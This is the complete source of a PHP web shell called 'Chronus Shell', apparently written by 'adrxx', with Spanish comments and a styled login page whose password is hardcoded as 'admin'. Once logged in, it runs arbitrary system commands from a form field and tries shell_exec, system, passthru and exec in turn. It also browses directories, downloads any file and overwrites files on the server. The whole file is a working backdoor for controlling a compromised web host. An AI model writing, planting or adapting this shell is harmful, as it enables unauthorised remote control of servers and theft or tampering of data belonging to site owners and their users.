<?php
/**
 * Chronus Shell v1.2 - by adrxx
 * Credenciales: admin
 */
session_start();
error_reporting(0);

$password = "admin"; 
// Imagen del demonio (Chronus cara.png)
$logo_url = "https://i.ibb.co/LzNfS6P/chronus-cara.jpg"; 

// --- LÓGICA DE SESIÓN Y LOGIN ---
if (isset($_GET['logout'])) { 
    unset($_SESSION['logged_in']); 
    session_destroy(); 
    header("Location: " . strtok($_SERVER["REQUEST_URI"], '?'));
    exit;
}

if (!isset($_SESSION['logged_in'])) {
    if (isset($_POST['pass']) && $_POST['pass'] == $password) {
        $_SESSION['logged_in'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        die('
        <!DOCTYPE html>
        <html lang="es">
        <head>
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <style>
                body { 
                    background: #000; 
                    background-image: radial-gradient(circle at center, #3a0000 0%, #000 100%); 
                    height: 100vh; 
                    display: flex; 
                    align-items: center; 
                    justify-content: center; 
                    font-family: "Segoe UI", sans-serif; 
                    margin: 0; 
                }
                .login-card { 
                    background: rgba(15, 15, 15, 0.7); 
                    backdrop-filter: blur(20px); 
                    -webkit-backdrop-filter: blur(20px);
                    border: 1px solid rgba(255, 0, 0, 0.3); 
                    padding: 50px 40px; 
                    border-radius: 30px; 
                    width: 320px; 
                    text-align: center; 
                    box-shadow: 0 0 40px rgba(255, 0, 0, 0.2); 
                }
                .avatar-container {
                    width: 130px;
                    height: 130px;
                    margin: 0 auto 25px;
                    border-radius: 50%;
                    border: 2px solid #ff0000;
                    padding: 5px;
                    box-shadow: 0 0 15px rgba(255, 0, 0, 0.5);
                    overflow: hidden;
                }
                .avatar { 
                    width: 100%; 
                    height: 100%; 
                    border-radius: 50%; 
                    object-fit: cover; 
                }
                h2 { color: #fff; margin-bottom: 35px; letter-spacing: 3px; font-weight: 400; text-transform: uppercase; font-size: 1.2rem; }
                .input-group { position: relative; margin-bottom: 30px; }
                input { 
                    width: 100%; 
                    background: transparent; 
                    border: none; 
                    border-bottom: 2px solid #333; 
                    padding: 10px 0; 
                    color: #fff; 
                    outline: none; 
                    text-align: center; 
                    font-size: 1rem;
                    transition: 0.3s;
                }
                input:focus { border-bottom: 2px solid #ff0000; }
                button { 
                    background: linear-gradient(135deg, #800000 0%, #ff0000 100%); 
                    color: white; 
                    border: none; 
                    padding: 14px; 
                    width: 100%; 
                    border-radius: 30px; 
                    cursor: pointer; 
                    font-weight: bold; 
                    text-transform: uppercase;
                    letter-spacing: 1px;
                    transition: 0.3s;
                }
                button:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(255, 0, 0, 0.4); }
                .tag { color: #666; font-size: 10px; margin-top: 25px; letter-spacing: 1px; }
            </style>
        </head>
        <body>
            <div class="login-card">
                <div class="avatar-container">
                    <img src="'.$logo_url.'" class="avatar" alt="Chronus">
                </div>
                <h2>Chronus Shell</h2>
                <form method="post">
                    <div class="input-group">
                        <input type="password" name="pass" placeholder="ACCESS PASSWORD" autofocus required>
                    </div>
                    <button type="submit">LOGIN</button>
                </form>
                <div class="tag">BY ADRXX | SECURE TERMINAL</div>
            </div>
        </body>
        </html>');
    }
}

// --- DESCARGA DE ARCHIVOS ---
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    if (file_exists($file) && is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// --- GESTIÓN DE DIRECTORIO ---
$work_dir = isset($_REQUEST['work_dir']) ? $_REQUEST['work_dir'] : getcwd();
if (!is_dir($work_dir)) $work_dir = getcwd();
chdir($work_dir);
$work_dir = getcwd();

// --- EJECUCIÓN DE COMANDOS ---
$output_content = "chronus-shell:~$ Waiting for input...\n";
if (!empty($_POST['command'])) {
    $cmd = $_POST['command'];
    $output_content = "chronus-shell:~$ $cmd\n";
    
    // Intento con múltiples funciones de ejecución por si una falla
    if(function_exists('shell_exec')) {
        $output_content .= shell_exec($cmd . " 2>&1");
    } elseif(function_exists('system')) {
        ob_start(); system($cmd . " 2>&1"); $output_content .= ob_get_contents(); ob_end_clean();
    } elseif(function_exists('passthru')) {
        ob_start(); passthru($cmd . " 2>&1"); $output_content .= ob_get_contents(); ob_end_clean();
    } elseif(function_exists('exec')) {
        exec($cmd . " 2>&1", $out); $output_content .= implode("\n", $out);
    } else {
        $output_content .= "[ERROR] Shell execution functions are disabled on this server.";
    }
}

// Guardar archivo editado
if (isset($_POST['save_file'])) {
    file_put_contents($_POST['filename'], $_POST['content']);
}
?>

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Chronus Shell | by adrxx</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root { --primary: #ff0000; --bg: #050505; --card: #0f0f0f; --text: #e0e0e0; }
        * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Consolas', 'Courier New', monospace; }
        body { background: var(--bg); color: var(--text); padding: 20px; padding-bottom: 60px; }
        
        header { border-bottom: 2px solid var(--primary); padding-bottom: 15px; margin-bottom: 30px; display: flex; justify-content: space-between; align-items: center; }
        .logo-main { color: var(--primary); font-size: 2rem; font-weight: bold; text-shadow: 0 0 10px rgba(255,0,0,0.4); }
        .author-tag { background: var(--primary); color: #000; padding: 2px 8px; font-size: 0.65rem; border-radius: 4px; vertical-align: middle; margin-left: 10px; font-weight: 900; }
        
        .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; }
        .card { background: var(--card); border: 1px solid #222; padding: 20px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0,0,0,0.5); }
        .card-title { color: var(--primary); margin-bottom: 15px; text-transform: uppercase; font-size: 0.95rem; display: flex; align-items: center; gap: 10px; }
        
        textarea { width: 100%; background: #000; color: #ff3333; padding: 15px; border: 1px solid #333; outline: none; border-radius: 4px; }
        .cmd-input { width: 80%; background: #000; color: #fff; border: 1px solid #444; padding: 10px; border-radius: 4px; }
        .btn-exec { background: #800; color: #fff; border: 1px solid var(--primary); padding: 10px 20px; cursor: pointer; font-weight: bold; }
        .btn-exec:hover { background: var(--primary); color: #000; }

        .file-list { max-height: 450px; overflow-y: auto; }
        .file-item { display: flex; justify-content: space-between; padding: 10px; border-bottom: 1px solid #1a1a1a; transition: 0.2s; }
        .file-item:hover { background: #1a0000; }
        .actions a { color: var(--primary); text-decoration: none; margin-left: 15px; font-size: 0.8rem; font-weight: bold; }
        .actions a:hover { text-decoration: underline; }
        
        .status-bar { position: fixed; bottom: 0; left: 0; width: 100%; background: #0a0a0a; border-top: 1px solid var(--primary); padding: 8px 25px; font-size: 0.8rem; color: #555; display: flex; justify-content: space-between; }
    </style>
</head>
<body>

<header>
    <div class="logo-main">CHRONUS SHELL <span class="author-tag">BY ADRXX</span></div>
    <div style="text-align: right;">
        <span style="color: #666;"><?php echo get_current_user(); ?>@system</span><br>
        <a href="?logout" style="color:var(--primary); text-decoration:none; font-size: 0.75rem; font-weight: bold;">[ KILL SESSION ]</a>
    </div>
</header>

<div class="grid">
    <!-- EXPLORER -->
    <div class="card">
        <h3 class="card-title"><i class="fas fa-folder-open"></i> File System</h3>
        <p style="font-size: 0.7rem; color: #555; margin-bottom: 12px; font-style: italic;"><?php echo $work_dir; ?></p>
        <div class="file-list">
            <div class="file-item">
                <a href="?work_dir=<?php echo dirname($work_dir); ?>" style="color:var(--primary); text-decoration:none;"><i class="fas fa-level-up-alt"></i> .. / Parent Directory</a>
            </div>
            <?php
            $items = scandir($work_dir);
            foreach ($items as $it) {
                if ($it == "." || $it == "..") continue;
                $full = $work_dir . DIRECTORY_SEPARATOR . $it;
                $is_d = is_dir($full);
                echo "<div class='file-item'>
                        <span><i class='fas ".($is_d ? "fa-folder" : "fa-file-code")."' style='color:".($is_d ? "var(--primary)":"#666")."'></i> $it</span>
                        <span class='actions'>";
                if ($is_d) {
                    echo "<a href='?work_dir=$full'>OPEN</a>";
                } else {
                    echo "<a href='?edit=$it&work_dir=$work_dir'>EDIT</a>";
                    echo "<a href='?download=$full'>DL</a>";
                }
                echo "</span></div>";
            }
            ?>
        </div>
    </div>

    <!-- TERMINAL -->
    <div class="card">
        <h3 class="card-title"><i class="fas fa-terminal"></i> Terminal Console</h3>
        <form method="post">
            <input type="hidden" name="work_dir" value="<?php echo $work_dir; ?>">
            <input type="text" name="command" class="cmd-input" placeholder="root@chronus:~#" autocomplete="off" autofocus>
            <button type="submit" class="btn-exec">RUN</button>
        </form>
        <textarea rows="18" readonly style="margin-top:15px; border-color: #222; font-size: 0.85rem;"><?php echo htmlspecialchars($output_content); ?></textarea>
    </div>

    <!-- EDITOR (Aparece al hacer click en EDIT) -->
    <?php if (isset($_GET['edit'])): 
        $file_name = $_GET['edit'];
        $file_path = $work_dir . DIRECTORY_SEPARATOR . $file_name;
        $content = file_get_contents($file_path);
    ?>
    <div class="card" style="grid-column: span 2; border: 1px solid var(--primary); background: #050505;">
        <h3 class="card-title"><i class="fas fa-pen-nib"></i> Edit Mode: <?php echo $file_name; ?></h3>
        <form method="post">
            <input type="hidden" name="filename" value="<?php echo $file_path; ?>">
            <input type="hidden" name="work_dir" value="<?php echo $work_dir; ?>">
            <textarea name="content" rows="22" style="color: #ccc;"><?php echo htmlspecialchars($content); ?></textarea>
            <div style="margin-top: 15px; text-align: right; display: flex; justify-content: flex-end; gap: 15px;">
                <a href="?work_dir=<?php echo $work_dir; ?>" style="background:#222; color:#fff; padding:10px 20px; text-decoration:none; border-radius:4px;">CANCEL</a>
                <button type="submit" name="save_file" style="padding: 10px 40px; border-radius: 4px;">SAVE AND OVERWRITE</button>
            </div>
        </form>
    </div>
    <?php endif; ?>
</div>

<div class="status-bar">
    <span>SYSTEM: <?php echo php_uname('s'); ?></span>
    <span>PHP VERSION: <?php echo phpversion(); ?></span>
    <span>CHRONUS SHELL | BY ADRXX</span>
</div>

</body>
</html>
